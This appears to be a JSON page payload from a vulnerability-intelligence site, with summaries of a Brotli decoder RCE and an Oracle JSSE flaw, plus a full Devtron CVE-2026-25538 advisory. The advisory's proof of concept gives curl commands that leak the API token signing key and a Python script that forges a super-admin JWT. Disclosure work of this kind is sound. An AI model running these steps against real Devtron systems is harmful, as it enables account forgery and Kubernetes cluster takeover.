[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-25538":30,"landing-articles":98},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":44,"references":47,"score":52,"epss_score":53,"epss_percentile":54,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":55,"attack_mappings":65,"exploits":96},6017,"CVE-2026-25538","EUVD-2026-5332"," Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage\n\n# Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage\n\n## Summary\n\nThis vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI\u002FCD Developers) to obtain the global API Token signing key by accessing the `\u002Forchestrator\u002Fattributes?key=apiTokenSecret` endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.\n\n**CWE Classification**: CWE-862 (Missing Authorization)\n\n## Details\n\n### Vulnerability Mechanism\n\nDevtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the `apiTokenSecret` stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.\n\n### Source Code Analysis\n\n**Vulnerability Location**: `api\u002FrestHandler\u002FAttributesRestHandlder.go:173-195`\n\n```go\nfunc (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Only checks if user is logged in\n    userId, err := handler.userService.GetLoggedInUser(r)\n    if userId == 0 || err != nil {\n        common.HandleUnauthorized(w, r)\n        return\n    }\n\n    \u002F\u002F CRITICAL: RBAC check is commented out\n    \u002F*token := r.Header.Get(\"token\")\n    if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, \"*\"); !ok {\n        WriteJsonResp(w, errors.New(\"unauthorized\"), nil, http.StatusForbidden)\n        return\n    }*\u002F\n\n    \u002F\u002F Directly retrieves any attribute without authorization\n    vars := mux.Vars(r)\n    key := vars[\"key\"]\n    res, err := handler.attributesService.GetByKey(key)\n    if err != nil {\n        handler.logger.Errorw(\"service err, GetAttributesById\", \"err\", err)\n        common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)\n        return\n    }\n    common.WriteJsonResp(w, nil, res, http.StatusOK)\n}\n```\n\n**Key Usage**: `pkg\u002FapiToken\u002FApiTokenSecretService.go:54-88`\n\n```go\nfunc (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {\n    if len(impl.apiTokenSecretStore.Secret) == 0 {\n        return nil, errors.New(\"secret found empty\")\n    }\n    return []byte(impl.apiTokenSecretStore.Secret), nil\n}\n\nfunc (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {\n    apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)\n    if err != nil {\n        return \"\", err\n    }\n    if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {\n        return \"\", errors.New(\"api token secret from DB found nil\u002Fempty\")\n    }\n    return apiTokenSecret.Value, nil\n}\n```\n\nThis key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.\n\n## PoC (Proof of Concept)\n\n### Environment Setup\n\n#### Prerequisites\n\n- Kubernetes cluster (v1.22+)\n- kubectl configured\n- Helm 3.x\n- Python 3.x with PyJWT library\n\n#### Step 1: Install Devtron\n\n```bash\n# Add Devtron Helm repository\nhelm repo add devtron https:\u002F\u002Fhelm.devtron.ai\nhelm repo update devtron\n\n# Install Devtron with CI\u002FCD module\nhelm install devtron devtron\u002Fdevtron-operator \\\n  --create-namespace --namespace devtroncd \\\n  --set components.devtron.service.type=NodePort \\\n  --set installer.modules={cicd} \\\n  --set installer.arch=multi-arch\n\n# Wait for installation to complete (15-20 minutes)\nkubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'\n# Expected output: Applied\n```\n\n#### Step 2: Access Devtron Dashboard\n\n```bash\n# Set up port forwarding\nkubectl -n devtroncd port-forward service\u002Fdevtron-service 8000:80 &\n\n# Get admin password\nADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \\\n  -o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)\necho \"Admin password: ${ADMIN_PASSWORD}\"\n```\n\nAccess http:\u002F\u002F127.0.0.1:8000 and login with admin account.\n\n### Exploitation Steps\n\n#### Step 1: Obtain User Token\n\nLogin as a regular user and obtain token:\n\n```bash\n# Login as regular user\ncurl -s -X POST \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fapi\u002Fv1\u002Fsession\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"'${ADMIN_PASSWORD}'\"}' | jq .\n\n# Extract token\nUSER_TOKEN=$(curl -s -X POST \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fapi\u002Fv1\u002Fsession\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"'${ADMIN_PASSWORD}'\"}' | jq -r '.result.token')\n\necho \"User token: ${USER_TOKEN:0:50}...\"\n```\n\n**Actual Output Example**:\n```json\n{\n  \"code\": 200,\n  \"status\": \"OK\",\n  \"result\": {\n    \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\",\n    \"userId\": 1,\n    \"userEmail\": \"admin\"\n  }\n}\n```\n\n#### Step 2: Exploit Vulnerability to Retrieve apiTokenSecret\n\nUse the obtained token to access the unauthorized Attributes API:\n\n```bash\n# Request apiTokenSecret\ncurl -s -X GET \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fattributes?key=apiTokenSecret\" \\\n  -H \"token: ${USER_TOKEN}\" | jq .\n\n# Extract secret\nAPI_SECRET=$(curl -s -X GET \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fattributes?key=apiTokenSecret\" \\\n  -H \"token: ${USER_TOKEN}\" | jq -r '.result.value')\n\necho \"Leaked API Token Secret: ${API_SECRET:0:20}...\"\necho \"Secret length: ${#API_SECRET} characters\"\n```\n\n**Actual Output Example**:\n```json\n{\n  \"code\": 200,\n  \"status\": \"OK\",\n  \"result\": {\n    \"id\": 1,\n    \"key\": \"apiTokenSecret\",\n    \"value\": \"a1b2c3d4-e5f6-7890-abcd-ef1234567890\",\n    \"active\": true,\n    \"createdOn\": \"2024-01-15T10:30:00Z\",\n    \"createdBy\": 1\n  }\n}\n```\n\n#### Step 3: Forge Admin JWT Token\n\nForge admin token using the leaked key:\n\n```bash\n# Install PyJWT if not already installed\npip3 install PyJWT\n\n# Create token forging script\ncat > forge_token.py \u003C\u003C 'EOF'\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport jwt\nimport time\nimport sys\nimport json\n\ndef forge_admin_token(secret, user_id=1, email=\"admin\"):\n    exp_time = int(time.time()) + 365 * 24 * 60 * 60\n\n    payload = {\n        \"sub\": str(user_id),\n        \"email\": email,\n        \"iat\": int(time.time()),\n        \"exp\": exp_time,\n        \"iss\": \"devtron\",\n        \"roles\": [\"role:super-admin___\"]\n    }\n\n    token = jwt.encode(payload, secret, algorithm=\"HS256\")\n    return token\n\nif __name__ == \"__main__\":\n    if len(sys.argv) \u003C 2:\n        print(\"Usage: python forge_token.py \u003CapiTokenSecret>\")\n        sys.exit(1)\n\n    secret = sys.argv[1]\n    admin_token = forge_admin_token(secret, user_id=1, email=\"admin\")\n    print(f\"[+] Forged Admin Token:\")\n    print(admin_token)\n    print()\n\n    decoded = jwt.decode(admin_token, secret, algorithms=[\"HS256\"])\n    print(f\"[+] Token Payload:\")\n    print(json.dumps(decoded, indent=2))\nEOF\n\nchmod +x forge_token.py\n\n# Forge admin token\npython3 forge_token.py \"${API_SECRET}\"\n```\n\n**Actual Output Example**:\n```\n[+] Forged Admin Token:\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU\n\n[+] Token Payload:\n{\n  \"sub\": \"1\",\n  \"email\": \"admin\",\n  \"iat\": 1705314000,\n  \"exp\": 1736850000,\n  \"iss\": \"devtron\",\n  \"roles\": [\n    \"role:super-admin___\"\n  ]\n}\n```\n\n#### Step 4: Test Forged Token with Admin APIs\n\nUse the forged token to access admin APIs:\n\n```bash\n# Extract forged token\nFORGED_TOKEN=$(python3 forge_token.py \"${API_SECRET}\" | grep -A 1 \"Forged Admin Token:\" | tail -1)\n\n# Test 1: Get all users (requires admin permission)\necho \"[*] Test 1: Getting user list...\"\ncurl -s -X GET \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fuser\u002Fall\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq '.result[] | {id, email_id, roles}'\n\n# Test 2: Get cluster list (requires admin permission)\necho \"[*] Test 2: Getting cluster list...\"\ncurl -s -X GET \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fcluster\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq '.result[] | {id, cluster_name, server_url}'\n\n# Test 3: Get all applications\necho \"[*] Test 3: Getting application list...\"\ncurl -s -X GET \"http:\u002F\u002F127.0.0.1:8000\u002Forchestrator\u002Fapp\u002Flist\" \\\n  -H \"token: ${FORGED_TOKEN}\" | jq '.result'\n```\n\n**Actual Output Example**:\n```\n[*] Test 1: Getting user list...\n{\n  \"id\": 1,\n  \"email_id\": \"admin\",\n  \"roles\": [\"role:super-admin___\"]\n}\n{\n  \"id\": 2,\n  \"email_id\": \"developer@example.com\",\n  \"roles\": [\"role:developer\"]\n}\n\n[*] Test 2: Getting cluster list...\n{\n  \"id\": 1,\n  \"cluster_name\": \"default_cluster\",\n  \"server_url\": \"https:\u002F\u002Fkubernetes.default.svc\"\n}\n\n[*] Test 3: Getting application list...\n{\n  \"appContainers\": [\n    {\n      \"appId\": 1,\n      \"appName\": \"sample-app\",\n      \"projectId\": 1\n    }\n  ]\n}\n```\n\n### Expected Result\n\nIf the vulnerability exists, it should be able to:\n\n1. Successfully obtain `apiTokenSecret` using any authenticated user's token\n2. Successfully forge JWT tokens using the leaked key\n3. Successfully access admin-only APIs using the forged token\n4. Retrieve sensitive information such as user lists, cluster configurations, etc.\n\n## Impact\n\n### Security Impact\n\n**Confidentiality**: Severe impact. Attackers can:\n- Obtain the global API Token signing key\n- Read all user information and permission configurations\n- Access Kubernetes cluster configurations and credentials\n- Read sensitive application configurations and Secrets\n\n**Integrity**: Severe impact. Attackers can:\n- Forge API Tokens for arbitrary user identities\n- Modify application configurations and deployments\n- Create or delete CI\u002FCD pipelines\n- Modify user permissions and roles\n\n**Availability**: High impact. Attackers can:\n- Delete critical applications and configurations\n- Disrupt CI\u002FCD processes\n- Modify cluster configurations causing service interruptions\n\n### Business Impact\n\n1. **Complete Control of Devtron Platform**: Attackers gain privileges equivalent to super administrators\n2. **Lateral Movement to Kubernetes Cluster**: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes\n3. **Supply Chain Attacks**: Can modify CI\u002FCD pipelines to inject malicious code\n4. **Data Breach**: Can access all application configurations and Secrets\n5. **Cloud Environment Penetration**: In cloud environments, can further obtain IAM credentials\n\n### Attack Scenarios\n\n**Scenario 1: Insider Threat**\n- Low-privileged developer exploits this vulnerability to escalate privileges\n- Gains full access to production environment\n- Steals sensitive data or plants backdoors\n\n**Scenario 2: Supply Chain Attack**\n- Attacker obtains low-privileged account through social engineering\n- Exploits vulnerability to gain admin privileges\n- Modifies CI\u002FCD pipelines to inject malicious code\n- Affects all applications using the pipeline\n\n**Scenario 3: Lateral Movement**\n- Attacker has already compromised a low-privileged account\n- Exploits this vulnerability to gain Kubernetes cluster access\n- Deploys cryptocurrency miners or other malicious payloads in the cluster\n\n## Severity\n\n**CVSS v3.1 Score**: 9.8 (Critical)\n\n**CVSS Vector**: CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H\n\n**Score Breakdown**:\n- **Attack Vector (AV:N)**: Network accessible, exploited via HTTP API\n- **Attack Complexity (AC:L)**: Low complexity, requires only one HTTP request\n- **Privileges Required (PR:L)**: Requires low privileges (any authenticated user)\n- **User Interaction (UI:N)**: No user interaction required\n- **Scope (S:C)**: Scope changed, can affect resources beyond Devtron (Kubernetes cluster)\n- **Confidentiality (C:H)**: High impact, can read all sensitive information\n- **Integrity (I:H)**: High impact, can modify all configurations and data\n- **Availability (A:H)**: High impact, can delete resources and disrupt services\n\n**Severity Level**: Critical\n\n## Affected Versions\n\n- Devtron: All versions (as of 2026-01-26 verification)\n- Specifically affected code files:\n  - `api\u002FrestHandler\u002FAttributesRestHandlder.go`\n  - `pkg\u002FapiToken\u002FApiTokenSecretService.go`\n\n\n## Workarounds\n\nBefore an official patch is released, the following temporary measures can be taken:\n\n### Option 1: Network-Level Restrictions\n\n```bash\n# Use NetworkPolicy to restrict access to Devtron API\nkubectl apply -f - \u003C\u003CEOF\napiVersion: networking.k8s.io\u002Fv1\nkind: NetworkPolicy\nmetadata:\n  name: devtron-api-restriction\n  namespace: devtroncd\nspec:\n  podSelector:\n    matchLabels:\n      app: devtron\n  policyTypes:\n  - Ingress\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          role: admin\n    ports:\n    - protocol: TCP\n      port: 8080\nEOF\n```\n\n### Option 2: Rotate API Token Secret\n\n```bash\n# Generate new secret\nNEW_SECRET=$(openssl rand -hex 32)\n\n# Update in database\nkubectl exec -n devtroncd postgresql-postgresql-0 -- \\\n  psql -U postgres -d orchestrator -c \\\n  \"UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';\"\n\n# Restart Devtron service\nkubectl rollout restart deployment\u002Fdevtron -n devtroncd\n```\n\n### Option 3: Add API Gateway Filtering\n\nDeploy an API Gateway in front of Devtron to filter sensitive requests to `\u002Forchestrator\u002Fattributes`.\n\n\n## Credits\n@b0b0haha (603571786@qq.com)\n@lixingquzhi(mayedoushidalao@163.com)","2026-02-04T19:46:00Z",{},false,[39],"CWE-862",[41,42,43],"cpe:2.3:a:devtron:devtron:*:*:*:*:*:kubernetes:*:*","cpe:2.3:a:devtron-labs:devtron:*:*:*:*:*:*:*:*","cpe:2.3:a:devtron-labs:devtron:2.0.0:*:*:*:*:*:*:*",[45,46],"Devtron Devtron","Devtron-Labs Devtron",[48,49,50,51],"https:\u002F\u002Fgithub.com\u002Fdevtron-labs\u002Fdevtron\u002Fcommit\u002Fd2b0d260d858ab1354b73a8f50f7f078ca62706f","https:\u002F\u002Fgithub.com\u002Fdevtron-labs\u002Fdevtron\u002Fsecurity\u002Fadvisories\u002FGHSA-8wpc-j9q9-j5m2","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-25538","https:\u002F\u002Fgithub.com\u002Fdevtron-labs\u002Fdevtron",0,0.00442,0.38149,{"timestamp":56,"automatable":57,"tech_impact":58,"exploitation":59,"cisa_decision":60,"cisa_remediation_timeline":64},"2026-02-05T18:37:54.919579Z","yes","total","poc",{"vector":61,"decision":62,"priority":63},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T02:33:19.567019\u002F","attend","medium","3D",[66,72,81,88],{"name":67,"source":68,"tactics":69,"technique_id":71},"Exploit Public-Facing Application","attack_vector",[70],"initial-access","T1190",{"name":73,"source":74,"cwe_ids":75,"tactics":76,"capec_ids":78,"technique_id":80},"Exploitation for Stealth","capec",[39],[77],"stealth",[79],"CAPEC-665","T1211",{"name":82,"source":74,"cwe_ids":83,"tactics":84,"capec_ids":86,"technique_id":87},"Component Firmware",[39],[85,77],"persistence",[79],"T1542.002",{"name":89,"source":74,"cwe_ids":90,"tactics":91,"capec_ids":94,"technique_id":95},"Modify Authentication Process",[39],[92,93,85],"credential-access","defense-impairment",[79],"T1556",[97],{"link":49},{"count":99,"next":100,"previous":6,"results":101},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[102,110,118],{"id":103,"title":104,"summary":105,"published_at":106,"type":107,"link":108,"image_url":109},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":111,"title":112,"summary":113,"published_at":114,"type":115,"link":116,"image_url":117},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":119,"title":120,"summary":121,"published_at":122,"type":123,"link":124,"image_url":125},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]